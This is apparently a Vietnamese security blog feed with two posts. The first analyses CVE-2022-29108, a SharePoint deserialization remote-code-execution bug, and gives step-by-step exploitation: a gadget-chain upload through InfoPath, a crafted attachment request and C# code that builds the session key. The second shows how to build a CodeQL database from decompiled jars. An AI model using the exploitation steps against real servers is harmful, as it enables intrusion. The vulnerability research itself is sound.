<p>Gần đây, hồi tháng 2 có 1 bug Deserialization CVE-2022-22005 (đương nhiên là post-auth), được viết writeup khá đầy đủ bởi 1 bạn người Việt (<a target="_blank" href="https://blog.viettelcybersecurity.com/cve-2022-22005-microsoft-sharepoint-rce/">here</a>). Blog được viết rất tâm huyết và chi tiết, mình cũng dựa vào những chi tiết trong blog để setup và debug. Và do bug được viết trong bài dưới đây có liên quan chặt chẽ tới nó nên mình khuyến nghị bạn đọc nên đọc qua bài trên một lượt để có thể dễ dàng đi vào bài này!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652324866060/61QlAJmmZ.png" alt="image.png" class="image--center mx-auto" /></p>
<p>Như đã đề cập ở trên, CVE-2022-29108 có liên quan rất chặt chẽ tới CVE-2022-22005, giống nhau cả về cách thức hoạt động, entrypoint cũng như cách vá. Và khá là chắc chắn nó được tìm ra trong quá trình phân tích 1day!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652338267852/4pIG7vlkG.png" alt="image.png" class="image--center mx-auto" /></p>
<p><strong>#ENVIRONMENT SETUP</strong></p>
<p>Việc setup hoàn toàn dựa theo guide của MS tại <a target="_blank" href="https://docs.microsoft.com/en-us/sharepoint/install/install-sharepoint-server-2016-on-one-server">đây</a></p>
<p>Sau khi setup xong thì tiếp tục với các bước <strong>Create Web App</strong> -&gt; <strong>Create site collections</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652324828809/tmS5_FQ6p.png" alt="image.png" class="image--center mx-auto" /></p>
<p>Ban đầu thì mình nghĩ là bug này (CVE-2022-22005) hoạt động với default setup, tuy nhiên trong quá trình debug thì mới phát hiện ra không hoàn toàn là như vậy! (Không rõ là do setup của mình có khác biệt gì với mọi người hay không?)</p>
<ul>
<li>Điều kiện đầu tiên đó là tính năng "Self-Service Site Creation" bị disable by default, như vậy có nghĩa là một user bình thường với config mặc định sẽ không thể create các sub-site được ¯_(ツ)_/¯</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652325046280/tSEHslw2-.png" alt="image.png" class="image--center mx-auto" /></p>
<p>Một ví dụ trong blog post của ZDI:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652325230739/EE-D4psEO.png" alt="image.png" class="image--center mx-auto" /></p>
<p>Như vậy nếu muốn hoạt động như trong các bài writeup cũ này thì phải bật tính năng Self-Service Site Creation lên trước.</p>
<ul>
<li>Điều kiện thứ hai đó là CVE-2022-22005 hoạt động dựa vào State-Service của Sharepoint, tính năng này hoàn toàn không tồn tại với một default setup. Đây là một cảnh báo lỗi sẽ gặp trong trường hợp State-Service chưa được bật:</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652325592019/IxIWMOcBE.png" alt="image.png" class="image--center mx-auto" /></p>
<p>Bạn đọc có thể tham khảo cách bật service này lên tại <a target="_blank" href="https://knowledge-junction.com/2022/02/26/sharepoint-2016-workflows-resolving-error-the-form-cannot-be-rendered-this-may-be-due-to-a-misconfiguration-of-the-microsoft-sharepoint-server-state-service-for-more-information-contact-your/">đây</a>:</p>
<pre><code class="lang-powershell">#Create new "State Service" application
$StateService_application = New-SPStateServiceApplication -Name "State Service"

#Create DB for State Service Application
$StateService_applicationDB= New-SPStateServiceDatabase -Name "KnowledgeJunction_SP_StateService" -ServiceApplication $StateService_application

#Create proxy for State Service application
New-SPStateServiceApplicationProxy -Name "KnowledgeJunction_SP_StateService" -ServiceApplication $StateService_application -DefaultProxyGroup

Initialize-SPStateServiceDatabase -Identity $StateService_applicationDB
</code></pre>
<p><strong>#ANALYSIS</strong></p>
<p>Cùng xem lại phần sink của CVE-2022-22005 tại <strong>ChartPreviewImage</strong>.<em>loadChartImage()</em> như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652325961740/boZ8c1b1L.png" alt="image.png" class="image--center mx-auto" /></p>
<p><strong>this</strong>.sessionKey được lấy từ Request[<strong>'sk'</strong>]:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652326065420/dmQMlnhl_.png" alt="image.png" class="image--center mx-auto" /></p>
<p>sessionKey trên sẽ được dùng để lấy binary data từ StateService qua method <strong>CustomSessionState</strong>.<em>FetchBinaryData</em>(this.sessionKey):</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652326250458/v_SyrSu9n.png" alt="image.png" class="image--center mx-auto" /></p>
<p>Và với CVE-2022-22005, họ đã thêm vào một SerializationBinder để ngăn chặn việc deserialize tùy ý:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652326400619/qnla4jk_W.png" alt="image.png" class="image--center mx-auto" /></p>
<p>Để tìm biến thể của bug này, mình quay ra focus vào method <strong>CustomSessionState</strong>.<em>FetchBinaryData()</em>. Method này làm nhiệm vụ lấy ra dữ liệu binary trong StateService.
Như vậy đồng nghĩa với việc sẽ phải có một bước xử lý đám Binary Data này sau đó, right?</p>
<p>Dùng tính năng Analyze tìm những nơi có gọi tới <strong>CustomSessionState</strong>.<em>FetchBinaryData()</em>,  mình lấy được một số method như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652327459447/1WJ5hsnsz.png" alt="image.png" class="image--center mx-auto" /></p>
<p>Tạm thời bỏ qua những method khác, mình chỉ focus vào method call của <strong>ChartAdminPageBase</strong>.<em>get_currentWorkingSet()</em>. Content của method này như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652328414960/24pkDJgXP.png" alt="image.png" class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652328458387/p2PlQVp3z.png" alt="image.png" class="image--center mx-auto" /></p>
<p>Với <strong>this</strong>.<em>CustomSessionStateKey</em> được lấy từ Request['csk']</p>
<p>Tiếp sau đó, Binary Data được lấy từ StateService với <strong>this</strong>.<em>CustomSessionStateKey</em>, sau đó được truyền thẳng vào <strong>BinaryFormatter</strong>.<em>Deserialize()</em></p>
<p>=&gt; RCE</p>
<p>Method call tới <strong>ChartAdminPageBase</strong>.<em>get_currentWorkingSet()</em> như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652328896245/QD4lb4zx2.png" alt="image.png" class="image--center mx-auto" /></p>
<p>Trong đó có một method call từ <strong>ChartPreviewImage</strong>.<em>Render()</em> (cùng entrypoint với bug cũ CVE-2022-22005):</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652329121969/E5fGtd1UM.png" alt="image.png" class="image--center mx-auto" /></p>
<p>Full stacktrace:</p>
<pre><code>ChartPreviewImage.Render()
   <span class="hljs-operator">&gt;</span> ChartAdminPageBase.FetchFromCurrentWorkingSet()
        <span class="hljs-operator">&gt;</span> ChartAdminPageBase.get_currentWorkingSet()
            <span class="hljs-operator">&gt;</span> BinaryFormatter.Deserialize()
</code></pre><p><strong>#EXPLOITATION</strong></p>
<p>Việc khai thác hoàn toàn giống với bug CVE-2022-22005 được viết chi tiết tại <a target="_blank" href="https://blog.viettelcybersecurity.com/cve-2022-22005-microsoft-sharepoint-rce/">đây</a>.
Tuy nhiên mình vẫn viết lại chi tiết từng bước trong bài này coi như là một cái note để sau này tham khảo!</p>
<ul>
<li><strong>Step 1</strong>: stored the payload
Đầu tiên là phải download và cài đặt Microsoft InfoPath tại <a target="_blank" href="https://www.microsoft.com/en-us/download/details.aspx?id=48734">đây</a>. </li>
</ul>
<p>Dùng Infopath để Create List và publish Form như sau:
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652330309940/NbV7BwZZe.png" alt="image.png" class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652330351913/ygsoxDQjP.png" alt="image.png" class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652330397789/01qqErfUF.png" alt="image.png" class="image--center mx-auto" /></p>
<p>Sau khi Create xong, ta có thể truy cập và tạo New item sử dụng List này như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652330708701/mDA8iLrN8.png" alt="image.png" class="image--center mx-auto" /></p>
<p>Trong trường hợp click vào New mà nhận được response như sau thì có nghĩa là State Service chưa được enable trong Sharepoint (mình đã đề cập ở đầu bài này):</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652330823006/YynU29vxN.png" alt="image.png" class="image--center mx-auto" /></p>
<p>Nếu đã enable StateService, chúng ta sẽ được page như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652331041959/quyvQ5e7Y.png" alt="image.png" class="image--center mx-auto" /></p>
<p>Upload 1 file tại phần Attachments, với content của file chính là gadgetchain sẽ được dùng để deserialize, tại đây mình dùng gadget TypeConfuseDelegate để RCE (sau khi upload thì cứ để file ở đó, không bấm Save nhé!):</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652331323725/b9sEJ7Jb1.png" alt="image.png" class="image--center mx-auto" /></p>
<p>Quay trở lại burpsuite với request upload file phía trên, trong phần Response, tìm tên file vừa upload. Ở ngay cạnh đó sẽ có một chuỗi dạng "hash_hash", tạm gọi là <strong>itemId</strong>, lưu cái này lại để sử dụng phía sau cho việc trigger lỗi!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652331866453/8ev-LuS6L.png" alt="image.png" class="image--center mx-auto" /></p>
<ul>
<li><strong>Step 2</strong>: Get the payload session id</li>
</ul>
<p>Như đã đề cập trong writeup của <a target="_blank" href="https://blog.viettelcybersecurity.com/cve-2022-22005-microsoft-sharepoint-rce/">CVE-2022-22005</a> và <a target="_blank" href="https://www.zerodayinitiative.com/blog/2021/3/17/cve-2021-27076-a-replay-style-deserialization-attack-against-sharepoint">CVE-2021-27076</a>, ta dùng cách trên để lưu lại binary Session data và reuse sau đó.</p>
<p>Idea của phương pháp re-play này dựa vào quá trình xử lý file upload của Infopath!</p>
<p>Khi file được upload lên server thông qua Infopath list như Step 1 phía trên, Sharepoint sẽ cache <strong>nội dung của file</strong> vào một <strong>attachmentId </strong> và metadata của file này (bao gồm cả <strong>attachmentId</strong>) vào một <strong>itemId</strong> khác rồi trả về <strong>itemId </strong>đó cho người dùng.</p>
<p>Có thể mô tả bằng hình ảnh như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652333354132/ztydchtWV.png" alt="Untitled Diagram.drawio (1).png" class="image--center mx-auto" /></p>
<p>Request tới FormServerAttachments.aspx như sau:</p>
<pre><code><span class="hljs-attribute">GET</span> /_layouts/<span class="hljs-number">15</span>/formserverattachments.aspx?fid=<span class="hljs-number">1</span>&amp;sid=AF<span class="hljs-number">43</span>TO<span class="hljs-number">7</span>UGLAA<span class="hljs-number">4</span>TVXQCDXC<span class="hljs-number">4</span>WIQFTCAL<span class="hljs-number">2</span>MNFZXI<span class="hljs-number">4</span>ZPORSXG<span class="hljs-number">5</span>BRGEYS<span class="hljs-number">6</span>SLUMVWS<span class="hljs-number">65</span>DFNVYGYYLUMUXHQ<span class="hljs-number">43</span>OFNBXQ<span class="hljs-number">53</span>RGRYDISTOJN<span class="hljs-number">2</span>VSMTIONCFC<span class="hljs-number">4</span>DVG<span class="hljs-number">5</span>AWE<span class="hljs-number">5</span>K<span class="hljs-number">2</span>JBIVCM<span class="hljs-number">2</span>HJRHUOOLUNZBU<span class="hljs-number">4</span>SSHOJNDEYY=TC<span class="hljs-number">6</span>s<span class="hljs-number">5</span>QU<span class="hljs-number">93</span>BoIZJdquPLcFPGQeeyGztEj<span class="hljs-number">4</span>/i<span class="hljs-number">9</span>xhD<span class="hljs-number">6</span>rw<span class="hljs-number">4</span>waUi<span class="hljs-number">3</span>tnI<span class="hljs-number">60</span>RaX<span class="hljs-number">09</span>aC<span class="hljs-number">3</span>H<span class="hljs-number">70</span>OnD<span class="hljs-number">6</span>cKSOK<span class="hljs-number">8</span>Bsf<span class="hljs-number">4</span>j<span class="hljs-number">1</span>b/MmCw==|<span class="hljs-number">637879277981015089</span>&amp;key=BAIkY<span class="hljs-number">2</span>UyMTcyNmQtNDNmZi<span class="hljs-number">00</span>MWEzLTkyMDQtOTgxYTE<span class="hljs-number">5</span>ZTc<span class="hljs-number">1</span>ODI<span class="hljs-number">3</span>QWU<span class="hljs-number">5</span>ZjUxYmM<span class="hljs-number">2</span>YTgxNzRiNmViMWM<span class="hljs-number">3</span>Y<span class="hljs-number">2</span>ZhZTY<span class="hljs-number">3</span>NmJlNGFkX<span class="hljs-number">2</span>UzOWQwYzgyZDAyZjRhYzc<span class="hljs-number">4</span>NjQ<span class="hljs-number">5</span>NWE<span class="hljs-number">5</span>OTA<span class="hljs-number">1</span>NjJkYzg<span class="hljs-number">0</span>gAhF&amp;dl=ip HTTP/<span class="hljs-number">1</span>.<span class="hljs-number">1</span>
<span class="hljs-attribute">Host</span>: sharepoint
<span class="hljs-attribute">Upgrade</span>-Insecure-Requests: <span class="hljs-number">1</span>
<span class="hljs-attribute">User</span>-Agent: Mozilla/<span class="hljs-number">5</span>.<span class="hljs-number">0</span>
<span class="hljs-attribute">Cookie</span>: _InfoPath_CanaryValueAF<span class="hljs-number">43</span>TO<span class="hljs-number">7</span>UGLAA<span class="hljs-number">4</span>TVXQCDXC<span class="hljs-number">4</span>WIQFTCAL<span class="hljs-number">2</span>MNFZXI<span class="hljs-number">4</span>ZPORSXG<span class="hljs-number">5</span>BRGEYS<span class="hljs-number">6</span>SLUMVWS<span class="hljs-number">65</span>DFNVYGYYLUMUXHQ<span class="hljs-number">43</span>OFNBXQ<span class="hljs-number">53</span>RGRYDISTOJN<span class="hljs-number">2</span>VSMTIONCFC<span class="hljs-number">4</span>DVG<span class="hljs-number">5</span>AWE<span class="hljs-number">5</span>K<span class="hljs-number">2</span>JBIVCM<span class="hljs-number">2</span>HJRHUOOLUNZBU<span class="hljs-number">4</span>SSHOJNDEYY=TC<span class="hljs-number">6</span>s<span class="hljs-number">5</span>QU<span class="hljs-number">93</span>BoIZJdquPLcFPGQeeyGztEj<span class="hljs-number">4</span>/i<span class="hljs-number">9</span>xhD<span class="hljs-number">6</span>rw<span class="hljs-number">4</span>waUi<span class="hljs-number">3</span>tnI<span class="hljs-number">60</span>RaX<span class="hljs-number">09</span>aC<span class="hljs-number">3</span>H<span class="hljs-number">70</span>OnD<span class="hljs-number">6</span>cKSOK<span class="hljs-number">8</span>Bsf<span class="hljs-number">4</span>j<span class="hljs-number">1</span>b/MmCw==|<span class="hljs-number">637879277981015089</span>; 
<span class="hljs-attribute">Cache</span>-Control: max-age=<span class="hljs-number">0</span>
<span class="hljs-attribute">Accept</span>-Encoding: gzip, deflate
<span class="hljs-attribute">Accept</span>-Language: en-US,en;q=<span class="hljs-number">0</span>.<span class="hljs-number">9</span>
<span class="hljs-attribute">Connection</span>: Keep-Alive
</code></pre><p>Với <strong>sid </strong>lấy ra từ <strong>InfoPath_CanaryValue</strong>:</p>
<pre><code><span class="hljs-attribute">AF43TO7UGLAA4TVXQCDXC4WIQFTCAL2MNFZXI4ZPORSXG5BRGEYS6SLUMVWS65DFNVYGYYLUMUXHQ43OFNBXQ53RGRYDISTOJN2VSMTIONCFC4DVG5AWE5K2JBIVCM2HJRHUOOLUNZBU4SSHOJNDEYY</span>=TC<span class="hljs-number">6</span>s<span class="hljs-number">5</span>QU<span class="hljs-number">93</span>BoIZJdquPLcFPGQeeyGztEj<span class="hljs-number">4</span>/i<span class="hljs-number">9</span>xhD<span class="hljs-number">6</span>rw<span class="hljs-number">4</span>waUi<span class="hljs-number">3</span>tnI<span class="hljs-number">60</span>RaX<span class="hljs-number">09</span>aC<span class="hljs-number">3</span>H<span class="hljs-number">70</span>OnD<span class="hljs-number">6</span>cKSOK<span class="hljs-number">8</span>Bsf<span class="hljs-number">4</span>j<span class="hljs-number">1</span>b/MmCw==|<span class="hljs-number">637879277981015089</span>
</code></pre><p>Còn param <strong>key</strong> mình sử dụng đoạn code sau để lấy, với <strong>_serializedKey</strong> chính là 
<strong>itemId</strong> trả về sau khi upload file ở Step 1:</p>
<pre><code class="lang-C#"><span class="hljs-function"><span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">Main</span>(<span class="hljs-params"></span>)</span>
        {

            MemoryStream ms = <span class="hljs-keyword">new</span> MemoryStream();
            EnhancedBinaryWriter enhancedBinaryWriter = <span class="hljs-keyword">new</span> EnhancedBinaryWriter(ms);
            enhancedBinaryWriter._state = <span class="hljs-number">4</span>;
            enhancedBinaryWriter._dataType = <span class="hljs-number">2</span>;
            enhancedBinaryWriter._itemId = <span class="hljs-string">"ce21726d-43ff-41a3-9204-981a19e75827"</span>;
            enhancedBinaryWriter._serializedKey = <span class="hljs-string">"e9f51bc6a8174b6eb1c7cfae676be4ad_e39d0c82d02f4ac786495a990562dc84"</span>;
            enhancedBinaryWriter._size = <span class="hljs-number">1024</span>;
            enhancedBinaryWriter._version = <span class="hljs-number">69</span>;
            enhancedBinaryWriter.Serialize(enhancedBinaryWriter);
            <span class="hljs-keyword">var</span> base64String = Convert.ToBase64String(ms.ToArray());
            Console.WriteLine(base64String);
        }
</code></pre>
<p>(Chi tiết hơn về đoạn này thì bạn đọc có thể tham khảo thêm tại blog writeup của CVE-2022-22005, tác giả đã viết rất chi tiết về bước này nên mình sẽ không nhắc lại tại đây!)</p>
<p>Response của request FormServerAttachments.aspx:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652336228435/mGVyKCK61.png" alt="image.png" class="image--center mx-auto" /></p>
<p>Trong đó, phần cuối file sẽ có một chuỗi cũng có dạng "hash1_hash2", phần hash đầu tiên sẽ trùng với <strong>itemId</strong> vừa truyền vào.</p>
<p>Đây chính là <strong>attachmentId</strong>, hoặc cũng chính là payload Id/session Key, ta sẽ sử dụng <strong>attachmentId </strong>này để truyền vào ChartPreviewImage.aspx và trigger Deserialization:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652336460801/EpOozZeYE.png" alt="image.png" class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652336539416/QRp3OiUye.png" alt="image.png" class="image--center mx-auto" /></p>
<p>Step by step PoC:
https://www.youtube.com/watch?v=rHhsAdvfBxc</p>
]]></content:encoded></item><item><title><![CDATA[Build CodeQL DB without source code]]></title><description><![CDATA[Có thể với nhiều bạn đã biết, CodeQL hỗ trợ rất mạnh trong việc tìm kiếm lỗ hổng và các biến thể của lỗ hổng thông qua việc chuyển hóa và truy vấn dữ liệu từ DB.
Tuy nhiên cũng có một vấn đề nhức nhối đi kèm với nó, đó là CodeQL chỉ hỗ trợ tạo databa...]]></description><link>https://testanull.com/build-codeql-db-without-source-code</link><guid isPermaLink="true">https://testanull.com/build-codeql-db-without-source-code</guid><dc:creator><![CDATA[Jang]]></dc:creator><pubDate>Wed, 23 Jun 2021 10:09:41 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1624442925385/rMTwFg-Sf.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Có thể với nhiều bạn đã biết, CodeQL hỗ trợ rất mạnh trong việc tìm kiếm lỗ hổng và các biến thể của lỗ hổng thông qua việc chuyển hóa và truy vấn dữ liệu từ DB.
Tuy nhiên cũng có một vấn đề nhức nhối đi kèm với nó, đó là CodeQL chỉ hỗ trợ tạo database từ một bộ mã nguồn hoàn chỉnh, không bao gồm các file library của nó.
Điều này tạo ra nhiều sai sót trong quá trình tìm kiếm lỗ hổng, 
Ví dụ như flow path sau:</p>
<p>class A</p>
<pre><code><span class="hljs-keyword">private</span> <span class="hljs-keyword">void</span> Foo(<span class="hljs-keyword">String</span> arg1){
    <span class="hljs-keyword">String</span> var1 = ExternalLibrary.doDecode(arg1);
    Runtime.getRuntime().exec(var1);
}
</code></pre><p>Theo như cách hoạt động, bóc tách code để insert vào DB của CodeQL mà mình đã nói tại bài viết trước (tại  <a target="_blank" href="https://testanull.com/how-does-the-semmle-core-works-part-2-75feed1bb390">đây</a>), thì thông tin về đoạn ClassA.Foo() -&gt; ExternalLibrary.doDecode() vẫn sẽ được nhận biết để insert vào DB.
Tuy nhiên tới đoạn ExternalLibrary.doDecode() thì do không có mã nguồn nên đương nhiên là thông tin về đoạn call này sẽ bị bỏ qua, và kéo theo đó là cũng không biết được kết quả trả về của ExternalLibrary.doDecode() là gì? có thể passthrough được hay không?
Từ đó sẽ gây ra chuyện flow path trên bị đứt đoạn -&gt; bỏ sót lỗ hổng trong quá trình rà soát mã nguồn.
Đây là chuyện không thể chấp nhận được với một công cụ sinh ra chuyên biệt để tìm kiếm các biến thể 🤷‍♀️</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624263885740/8qhJSmB5U.png" alt="image.png" />
Mặc dù phía phát triển của CodeQL bằng nhiều cách, đã giảm thiểu sai sót này bằng cách tìm bằng cơm các passthrough variable, method. Nghĩa là dựa trên những lỗ hổng, các signature đã biết về các method có thể truyền dữ liệu qua, và có giữ nguyên dạng hay không. 
Ví dụ như với flow path vừa kể trên, lúc này trong thư viện "chuẩn" .qll của codeql, sẽ định nghĩa rằng: dữ liệu truyền vào ExternalLibrary.doDecode(), vẫn sẽ được tainted vào dữ liệu trả về.
Như vậy thì khi query, codeql sẽ hiểu rằng biến "<strong>var1</strong>" là biến đổi của "<strong>arg1</strong>", do đó sẽ tiếp tục query tiếp tới đoạn "<strong>var1</strong>" được truyền vào .exec()!
Nếu bạn đọc vẫn còn mơ hồ về điều này thì có thể trực tiếp kiểm nghiệm qua bộ thư viện chuẩn của codeql tại  <a target="_blank" href="https://github.com/github/codeql/blob/922b276facac045cb9062b1b779efa40984b34f3/java/ql/src/semmle/code/java/dataflow/internal/TaintTrackingUtil.qll#L320">TaintTrackingUtil.qll#L320</a> </p>
<pre><code>private predicate taintPreservingArgumentToMethod(<span class="hljs-keyword">Method</span> <span class="hljs-keyword">method</span>, <span class="hljs-type">int</span> arg) {
  <span class="hljs-keyword">method</span>.getDeclaringType().hasQualifiedName("org.apache.commons.codec.binary", "Base64") <span class="hljs-keyword">and</span>
  (
    <span class="hljs-keyword">method</span>.getName() = "decodeBase64" <span class="hljs-keyword">and</span> arg = <span class="hljs-number">0</span>
    <span class="hljs-keyword">or</span>
    <span class="hljs-keyword">method</span>.getName().matches("encodeBase64%") <span class="hljs-keyword">and</span> arg = <span class="hljs-number">0</span>
  )
  <span class="hljs-keyword">or</span>
  <span class="hljs-keyword">method</span>.(TaintPreservingCallable).returnsTaintFrom(arg)
}
</code></pre><p>.</p>
<p>. </p>
<p>.</p>
<p>Tầm này năm ngoái thì mình có làm cái luận văn về cách hoạt động của CodeQL, trong quá trình nghiên cứu thì cũng có ý tưởng làm 1 cách nào đó để cho CodeQL có thể build được DB mà không cần source code.</p>
<p>Ý tưởng ban đầu của mình đó là sử dụng OW2 ASM để traverse bytecode, và sau đó lưu trữ các thông tin này vào trap file để tạo DB.
Tuy nhiên phương thức này nói thì dễ, làm mới thấy vấn đề nhiều như thế nào.
Ví dụ như các lệnh loop, try catch, ... sẽ không tường minh như khi traverse với source code.
Như vậy sẽ yêu cầu viết lại một bộ thư viện chuẩn mới của CodeQL, dành riêng cho java bytecode để có thể biên dịch lại các bytecode này thành các lệnh loop, try catch.</p>
<p>Project đã bị bỏ dở hơn 2 tháng kể từ khi mình gặp vấn đề này, sau đó một ngày đẹp trời, đồng nghiệp mình có hỏi chi tiết về cách hoạt động của CodeQL sau series của mình (tại  <a target="_blank" href="https://testanull.com/how-does-semmle-core-codeql-works-goc-nhin-phien-dien-ve-cach-hoat-dong-cua-codeql-part-1-e821df1d910e">đây</a>).
Và có trình bày ý tưởng về một hướng đi khác để build DB cho CodeQL, ban đầu thì ý tưởng này gặp ngay sự phản đối của mình.
Ý tưởng đó như thế này: Decompile nguyên cái file jar, sau đó tạo 1 script để javac compile các file đã được compile này.
Ban đầu mình có phản đối ý tưởng này, đơn giản là vì mặc dù tỉ lệ decompile chính xác của fernflower decompiler hiện tại khá cao (lên tới 95%), nhưng số 5% còn lại đó vẫn là 1 vấn đề lớn, khi build cả 1 project chỉ cần 1 file lỗi thì sẽ khiến cho cả quá trình build bị dừng lại và sẽ không thể tiếp tục quá trình Extractor của CodeQL được.
Tuy nhiên sau khi xem demo thì mình đã biết phương thức này không phải là vô lý, và hoàn toàn có thể biến nó thành sự thật được.
Quay trở lại với phần 2 của series  <a target="_blank" href="https://testanull.com/how-does-the-semmle-core-works-part-2-75feed1bb390">How CodeQL works</a>, tại đây mình đã nói qua về cách setup môi trường để tự debug quá trình Extract của CodeQL, khuyến nghĩ bạn đọc nên xem qua để tránh một số bỡ ngỡ về sau!
Config để debug như sau:
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624438045652/0CxxeLKAy.png" alt="image.png" />
Còn đây là nội dung của file javac.args:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624438152249/pcSL80DR_.png" alt="image.png" />
Trong đó có bao gồm các file mã nguồn java sẽ được truyền vào javac để biên dịch.
Theo cách làm của đồng nghiệp mình, khi đó các file java này sẽ là các file đã được decompile từ các file jar.
Ở đây mình lấy apache tomcat ra làm ví dụ, các file đã được decompile từ catalina.jar và truyền vào arg của javac:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624438553416/A5I6xj6LL.png" alt="image.png" />
Với lần đầu chạy thử, mình đã gặp ngay rất nhiều lỗi và đã bị crash chương trình, đây là output log khi chạy Extractor:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624439089034/E6HRSwG-Km.png" alt="image.png" /></p>
<p>Những log về syntax error này rất nhiều, tuy nhiên chưa làm cho chương trình crash.
Mò mẫm một hồi mới phát hiện ra nguyên nhân gây crash chương trình là đây:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624439238614/c3CzKUSQm.png" alt="image.png" /></p>
<p>Stacktrace:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624439443203/ox52ieBwd.png" alt="image.png" /></p>
<p>Sai sót gây ra crash ở đây là do chương trình throw một AssertionError(), mà không có đoạn nào trong chương trình catch lỗi này cả, fix lỗi này đơn giản bằng cách thêm vài dòng code để catch AssertionError() này là xong:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624439742279/fcvhkww_X.png" alt="image.png" />
Sau khi patch lại file extractor, chương trình chạy khá là mượt và không gặp thêm lỗi gì nữa. Ước tính tầm 80% file đã được chuyển đổi sang file trap:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624440909727/9zbnkzC8M.png" alt="image.png" /></p>
<p>Các file trap đã được tạo thành công, bước tiếp theo đơn giản chỉ là import các file trap này thành dataset, phục vụ cho việc truy vấn tiếp theo, câu lệnh để import như sau:</p>
<pre><code>codeql dataset <span class="hljs-keyword">import</span> <span class="hljs-comment">--dbscheme=.\semmlecode.dbscheme .\db-java .\trap\*</span>
</code></pre><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624441846076/RlbNLCu56.png" alt="image.png" /></p>
<p>Với semmlecode.dbscheme là scheme của java, được tìm thấy trong folder binary của codeql:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624441296394/LnL9DnO6r.png" alt="image.png" />
Tới đây thì việc tạo codeql DB đã gần xong rồi, chỉ còn 1 bước cuối đó là tạo file meta khai báo DB này,
File meta của DB có dạng sau:</p>
<pre><code><span class="hljs-meta">---</span>
<span class="hljs-attr">sourceLocationPrefix:</span> <span class="hljs-string">"D:\\Research2021\\codeql\\newdb\\src"</span>
<span class="hljs-attr">unicodeNewlines:</span> <span class="hljs-literal">false</span>
<span class="hljs-attr">columnKind:</span> <span class="hljs-string">"utf16"</span>
</code></pre><p>Trong đó <strong>sourceLocationPrefix</strong> là vị trí của mã nguồn đã được decompile trên máy.
Sau khi tạo metafile cho DB xong thì việc cuối cùng là import vào DB thôi:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624441801408/eC__raLmp.png" alt="image.png" />
Thử nghiệm 1 query với DB mới này:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624442076625/U-UrusAz-.png" alt="image.png" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624442118030/7XjYsW30o.png" alt="image.png" /></p>
<p>Như vậy là việc xây dựng CodeQL DB mã không cần mã nguồn đã không còn là viển vông nữa,
Dù rằng tỉ lệ chính xác của phương pháp này không thể đạt được 100% như với mã nguồn gốc, nhưng bằng một vài phương pháp kết hợp với mã nguồn gốc các thứ, có thể sẽ giúp giảm tỉ lệ bỏ sót lỗ hổng, các tainted path khi truy vấn với CodeQL.
Hạn chế hiện tại của CodeQL có chăng chỉ là tốc độ truy vấn mã nguồn mà thôi.
Mình đã từng thử build một bộ DB của product X, kết quả được DB khá lớn ~20GB, và thử thực thi một vài truy vấn trên này thì thời gian phản hồi rất chi là lâu, mình đã đợi 1,2 ngày cho đến 1 tuần mà vẫn không thấy có kết quả gì, query server chỉ báo là running trong vô vọng ╮（╯＿╰）╭. 
Trên đây là một vài chia sẻ của mình về cách build DB cho CodeQL mà không cần mã nguồn gốc của chương trình.
Khuyến cáo: việc decompile để build DB này có thể sẽ vi phạm vào một vài quy tắc nào đó của các enterprise product, hãy suy nghĩ kỹ. 
Do at your own risk!
Cảm ơn đồng nghiệp @tuyenlx đã chia sẻ idea này và biến nó thành sự thật!
Cảm ơn bạn đọc đã theo dõi!
<strong>Jang</strong></p>
